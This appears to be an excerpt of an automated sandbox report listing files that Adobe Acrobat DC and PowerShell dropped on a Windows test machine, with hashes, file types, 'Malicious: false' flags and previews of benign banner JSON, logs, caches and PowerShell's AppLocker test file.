SSDEEP:	6:YEQXJ2HXsGcNoNLKYUXjb24kF0YPoAvJfbPtdPeUkwRe9:YvXKXmoN+YUTbdHGDV8Ukee9
MD5:	C4C9BD1A634A3D0E239A461AC2135C15
SHA1:	0809EDD66C277EF7C6EC737F62D735479375E13D
SHA-256:	DEE7FA25C907F713047102C5A2441BE132C8797ADFC7249AF8C241E318D00665
SHA-512:	8F626F51833C335F71154C425356EB32E103CEA7B8EBC4DACBCB3D391F349447CDF13D6FEB524D54A95EA1D14A881BE5EFE4FCDADAD615FD3B2C2AF8DCB927F4
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"94356cb3-cf8a-413b-b5c7-b0657bf29185","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736718069754,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.298701503375591
Encrypted:	false
SSDEEP:	6:YEQXJ2HXsGcNoNLKYUXjb24kF0YPoAvJf21rPeUkwRe9:YvXKXmoN+YUTbdHG+16Ukee9
MD5:	76F0C00652246A4C77D34A5A836B0884
SHA1:	6865862A4B4A714059D4F0F1090C7A732E9C4C01
SHA-256:	5BA708518CF12790D7D4A03EC7D6B4E9AA6EC358621695B7A9C6D6695A27ACB5
SHA-512:	E9D2FD03715127B82F4C760BCF693C21757871787E29324F43D69CAE5E99E89F66690CC6EE4898C026BE454B70B683169512E4F6A0EA5264C3981B86EE099670
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"94356cb3-cf8a-413b-b5c7-b0657bf29185","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736718069754,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.665765517720096
Encrypted:	false
SSDEEP:	24:Yv6XhUXeamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BS9:Yv8wgBgkDMUJUAh8cvM9
MD5:	5C0686D6FB3D50960024E788496FE9AE
SHA1:	0A028AB68FCF3B17682A901D6AA533F17A15D649
SHA-256:	CFD66C752C46104150E43DDCD8B38DA2ACA98464825E594BE6D53D0C4D75C52F
SHA-512:	DE9045829E4D135BD37C791CF28C001D0F89716F9B76372629E4D734921D3ED65E8058872445A134844D44833338932B3A9870BD66AD6AC3B659EE5816402EB1
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"94356cb3-cf8a-413b-b5c7-b0657bf29185","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736718069754,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.276372959711604
Encrypted:	false
SSDEEP:	6:YEQXJ2HXsGcNoNLKYUXjb24kF0YPoAvJfshHHrPeUkwRe9:YvXKXmoN+YUTbdHGUUUkee9
MD5:	770F03AD81FFD61A29EA463AB4040AFB
SHA1:	DE5B32551B737B9FF2EFFDB4EA420BEB1E61537B
SHA-256:	92F8F2B20A49001F0CFE4808A833AC727CB80DEFCB7E8D29421D68F43AEBF938
SHA-512:	D4886B796D24B8207D6EB32DE3E0906DD1DBBD7081EEF775AEBD7FD97B2F909B06038AD95D80E5361470640A0F13517F55EBBE337B3F8815D0B4CFDDBDB40DA0
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"94356cb3-cf8a-413b-b5c7-b0657bf29185","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736718069754,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.285220561172418
Encrypted:	false
SSDEEP:	6:YEQXJ2HXsGcNoNLKYUXjb24kF0YPoAvJTqgFCrPeUkwRe9:YvXKXmoN+YUTbdHGTq16Ukee9
MD5:	438FCB3CE767EC13DDE646A172CC20EA
SHA1:	17EE12136937EC6D40BB2DCACD517E2042470FDC
SHA-256:	613959DD1D44FABC3D8F85495EA85B3E77368F905179B04F5129E962B6EB8545
SHA-512:	3AE4BA4AE8226ADA64D89FE24E73FCF721EF1226F5541A55B1088AC306A541FC44DB8A64059EBBC26A73D44F32296F018CBE3A7AFB01BE0C856BE4B6F18F244F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"94356cb3-cf8a-413b-b5c7-b0657bf29185","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736718069754,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.1387858262701736
Encrypted:	false
SSDEEP:	24:YAE/Ga8JHayYf4ubC6AJbD8xr/F/4pKEPjAj0SCf+OFzC2wV2LSCRC0nn5FQq965:YIJNPbDppxSXOsxGZ5P9xT9G
MD5:	F92C58CA430027A708F5442A577F1D6E
SHA1:	648AF26BCD1D69ED6DC721CB92B4D101E49019BF
SHA-256:	A22380219EF770ADFAF53989BB3D9B8380BF9ECD407F2A228A13089C5D1112D7
SHA-512:	2D9A6ABE260415395A2635DE1BF7C86C2678DCEBE4D72A5E96B7E7A0BE43C348B5A5BD0D179175BF724850A329AACD4EAC5BF508190E985C2449B17A25BA671B
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"a4632cc64f7ad51783f8b28c12bb2d8c","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736540469000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"0f74559f6baa880ec3581e19c5ea0537","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736540469000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"d2b1f04498b7a6d61b0c1ee520f284d6","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736540469000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"2d177053e8e300dcfdcc856e59535a94","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736540469000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"c109828e34945e04bb483993e3673c0f","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736540469000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"483148a8b0cb2698dad4dd5ecda87443","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.319805195967507
Encrypted:	false
SSDEEP:	24:TLKufx/XYKQvGJF7urs9O3KaiZ3FL63FLesb+sZobF16R6FdpqpQ6YCn+EXSqXlx:TGufl2GL7msUKB0M0+Tb608Yrrq
MD5:	EAF2AB2E8A1C8B9BC706B957B0D57416
SHA1:	7C7C3224BCEFF862FD9FC28E1463DE68CF08C883
SHA-256:	1D80C068105497385E3FDC4033D28B5DA5DD1368201355CC744AE20D0B9F2342
SHA-512:	3CA208DF0314A3DEF932C9333B47B24670792C1EB98FD5121EE9F74A45BE199631A85C08627DE12C80FFAE2B2928871BFBF5EDCCEF5175A12438428B1ED03CE8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.7822368778091036
Encrypted:	false
SSDEEP:	24:7+twl3KaiZ3FL63FLesb+sZobF16R6FdpqpQ6YCn/EXSqXlyGKaiCvqLhx/XYKQK:7M+KB0M0+Tb608YSrGK2vqFl2GL7msR
MD5:	E8AC96E9000A094FBE60EED19B10AED7
SHA1:	2B080943EF5D8986CD4693257FEF9FE5C81BAC29
SHA-256:	0E46D4C9C625DE28F0EDE3BD1F1BCEE24B8880E7918EB7760DCB313F73BC6BE7
SHA-512:	6A63E09FD7F194BF80EDDC368CFD63B8C2C1BDEFA28FDEFF19B958B793677EAC511B214AEFF5C70EEAA06E20B35EF8900707F4DB5171E42E63EAE4B3A9A48366
Malicious:	false
Preview:	.... .c.....m.............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................^..^.^.^.^.^.^.^.p.p.p.p.p.p.p.p.p.p..........................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEg5vOgSii0Gvhcp8O4lytppLPHYyu:6a6TZ44ADE5vhi0GvqplTHK
MD5:	D3C4A08F054D21ADCE166C5DC2F4E233
SHA1:	F37B9D5B69A71747383B976FBFCFD53D12F39614
SHA-256:	93992D5599EED5952398186255B5FABD34DD75195878D0AF46F0C62DCBBE6C0B
SHA-512:	561D458E3DAB1477DF17DA7AE044CCDD92A2033F011EADDE108242ECA8648802D93E68DC7CB6F99739398316614CA5CBAEEBA405A9716CDD81E7337156609638
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulVmdtZ:NllUM
MD5:	013016A37665E1E37F0A3576A8EC8324
SHA1:	260F55EC88E3C4D384658F3C18C7FDEF202E47DD
SHA-256:	20C6A3C78E9B98F92B0F0AA8C338FF0BAC1312CBBFE5E65D4C940B828AC92FD8
SHA-512:	99063E180730047A4408E3EF8ABBE1C53DEC1DF04469DFA98666308F60F8E35DEBF7E32066FE0DD1055E1181167061B3512EEE4FE72D0CD3D174E3378BA62ED8
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSIff86b.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.4785165581894812
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClEWKMYlYH:Qw946cPbiOxDlbYnuRK+bDWdYlYH
MD5:	05EBB3DACEC454DBEF1953780A1177FB
SHA1:	826D761913F9397BC6F5DC7AFEDC5E2DB490B4DA
SHA-256:	B9516A1A118914EA45987E166273EF1E1F7238698EF4E25CC92A9441BF912B5D
SHA-512:	791A1E44937D1E67373B387077A6D5CB22ED54D52718949DA98CBC9CAAC1F251E9E51FD35E82BBA5D0E033E0543E5334D7837385C6212C7FB41CCE23F961E26B
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .1.5.:.2.1.:.1.0. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_w2ad1c53.i2k.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_x5opl42u.vyk.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\A92awr57_1fcz2l3_2cc.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Zip data (MIME type "application/vnd.adobe.air-ucf-package+zip"?)
Category:	dropped
Size (bytes):	144514
Entropy (8bit):	7.992637131260696
Encrypted:	true
SSDEEP:	3072:OvjeSq37BcXWpJ/PwBI4lsRMoZVaJctHtTx8EOyhnL:Cjc7BcePUsSSt38snL
MD5:	BA1716D4FB435DA6C47CE77E3667E6A8
SHA1:	AF6ADF9F1A53033CF28506F33975A3D1BC0C4ECF
SHA-256:	AD771EC5D244D9815762116D5C77BA53A1D06CEBA42D348160790DBBE4B6769D
SHA-512:	65249DB52791037E9CC0EEF2D07A9CB1895410623345F2646D7EA4ED7001F7273C799275C3342081097AF2D231282D6676F4DBC4D33C5E902993BE89B4A678FD
Malicious:	false
Preview:	PK.........D.Y...>)...).......mimetypeapplication/vnd.adobe.air-ucf-package+zipPK.........D.Y.+.`............message.xml.]is.8...[.....Oq.'...S...g.X+;....%X."U$.....}.P.%....8.tl. ...../..}......A.......,...a...r.....=..i{......0H..v.g.c0.3~....G.b....,.BvJ.'./.`xJ]..O./.!K...XG?.$.,=.Z...q.f~...,..:b.Pl..f..\|....,.A.....Z..a<.C._..../G\|....q.....~.?...G.............y+.. ...s.,.2...^uon..:....~....C....i.>.<hy..x..?....F.w..4e.\|.'...#?..a......i...W.".+...'.......,..6..... ..}.........llj.>.3v.."..CdA.".....v...4H..C]>........4..$.O........9._..C{(....A~.k...f.x8.<... l!..}...ol.q.......2.s.Y..&:....>...l.S..w.t^D.C....]0......L...z[`J<.....L.1t-.Z.n..7.)...aj;.0.r\|.._.V......JWT.>.p.?s....boN.....X.jkN.9..3jN.9..t...o..c.nX4......0.D.....Cv .....!k..........d.1B....=3.Bq.E.bo.....6..r..6@.b...T......Ig...(..(K].:...#..k..q2G."o.Tz...qJ.......;?\|~..1...J...RA...'..*C...T...dNMZ.3.z-..LCI..I..-.,.Y.J.....m.KY}.Lw......G........-.(E....b..^..}..

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 15-21-00-999.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.361022727805069
Encrypted:	false
SSDEEP:	384:cBD67lQV4j1MOuD/btX+wknz+fzTqyorqz3tVFr84AbAYpfFWbWt+Fjwn0z5O+Wf:4M5
MD5:	70A2D078BEFD5E910EE035832171B399
SHA1:	1AB91914ECD7852E512C73437D30013594A16FB0
SHA-256:	2B55DE84E5446FD295128DAD5827122E98AC784F96A1F422B711B14E8F7DB1ED
SHA-512:	9FF36D4E320A8791AB0B87F24CAB4CBE777D9E8A3A64D26AF419132CDFDFCCD9A253EE9854032C4C87C546187951077F869CBCBDC9513278C557FC4895C7DBBC
Malicious:	false
Preview:	SessionID=1936179e-ff16-44f8-b471-8d99801d7fe3.1696501837158 Timestamp=2023-10-05T12:30:37:158+0200 ThreadID=4884 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=1936179e-ff16-44f8-b471-8d99801d7fe3.1696501837158 Timestamp=2023-10-05T12:30:37:159+0200 ThreadID=4884 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=1936179e-ff16-44f8-b471-8d99801d7fe3.1696501837158 Timestamp=2023-10-05T12:30:37:159+0200 ThreadID=4884 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=1936179e-ff16-44f8-b471-8d99801d7fe3.1696501837158 Timestamp=2023-10-05T12:30:37:159+0200 ThreadID=4884 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=1936179e-ff16-44f8-b471-8d99801d7fe3.1696501837158 Timestamp=2023-10-05T12:30:37:159+0200 ThreadID=4884 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.361633245325687
Encrypted:	false
SSDEEP:	384:RbvqnDeiWCxtRPJVrSvJLwG3PEDyfMcRqN6eZhR85qeCrhn5x2Hi7U7ijxLgr+mK:qDV
MD5:	6CE852A12D6EE32B5993F5D47FE543DC
SHA1:	C7ED49D93E7ED3ED0F093C9B1E012B2863F418DD
SHA-256:	BB8DBC0A9A155FC2AD04E681027C88C854E8BEA9D3242BDF52E436541BFC2C20
SHA-512:	2C1FD978ECE27AA0BB519C57F55DCD31AB4FCD4216E4055FCE015593ED6978E5DAB4DF86F8FAC31268F77A0D31CA3CDC6BDFC5E4F8FFB587377AA12978E20A44
Malicious:	false
Preview:	SessionID=d74530e1-f5d9-4885-b9df-c17e933d8829.1736540461037 Timestamp=2025-01-10T15:21:01:037-0500 ThreadID=7840 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=d74530e1-f5d9-4885-b9df-c17e933d8829.1736540461037 Timestamp=2025-01-10T15:21:01:048-0500 ThreadID=7840 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=d74530e1-f5d9-4885-b9df-c17e933d8829.1736540461037 Timestamp=2025-01-10T15:21:01:048-0500 ThreadID=7840 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=d74530e1-f5d9-4885-b9df-c17e933d8829.1736540461037 Timestamp=2025-01-10T15:21:01:048-0500 ThreadID=7840 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=d74530e1-f5d9-4885-b9df-c17e933d8829.1736540461037 Timestamp=2025-01-10T15:21:01:048-0500 ThreadID=7840 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.3937149147164405
Encrypted:	false
SSDEEP:	192:zcbaIGkcbIcbiIICcbBOQQ0fQNCHPaPOhWPOA3mbSAcbsGC9GZPOdIzZMJzV3ZmH:EGvIcNYdiqOH
MD5:	A32803E34152344D46B960D399B4DF10
SHA1:	06DD1DF3D59ACFE0B54F226213FC03CF11C27FA2
SHA-256:	2A763D15FB5F6267A90E5701FD8AB1599C17BC2F03708887C1B95142A2C8D2F6
SHA-512:	A6A365972553C63B2C774590F447F10934F156D9F4D1B58D049F917B52D8EC222D3D84C43F1DC93836C47EDFB7CD0374FAC520208C6DBAA7C45CA2E52400D541
Malicious:	false
Preview:	05-10-2023 11:50:33:.---2---..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 11:50:33:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\5709d50f-d394-4737-8c40-c4515f9c8fd4.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\64380a62-a817-483d-89d8-93f2261e6076.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/pwYIGNPQ9WL07oXGZfPdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:xwZG29WLxXGZn3mlind9i4ufFXpAXkru
MD5:	17A4D09E4373155D739D65D37FDD108E
SHA1:	88ABEDA0447CCB031DD1D459657336A3FC50E486
SHA-256:	36FC00DA4B14D66BF783B992AC62C7590237C315B55D28A07A1B2E8678F918E3
SHA-512:	B95D3AB00F85EE3C41F813755485CF6B5C7A57F3DE9ACEF2DD2B0BDB3644580D36B43E5F44F5D9120FAD2AE128E7D69EFF2A9C58690B7162C20C497A24C88498
Malicious:	false
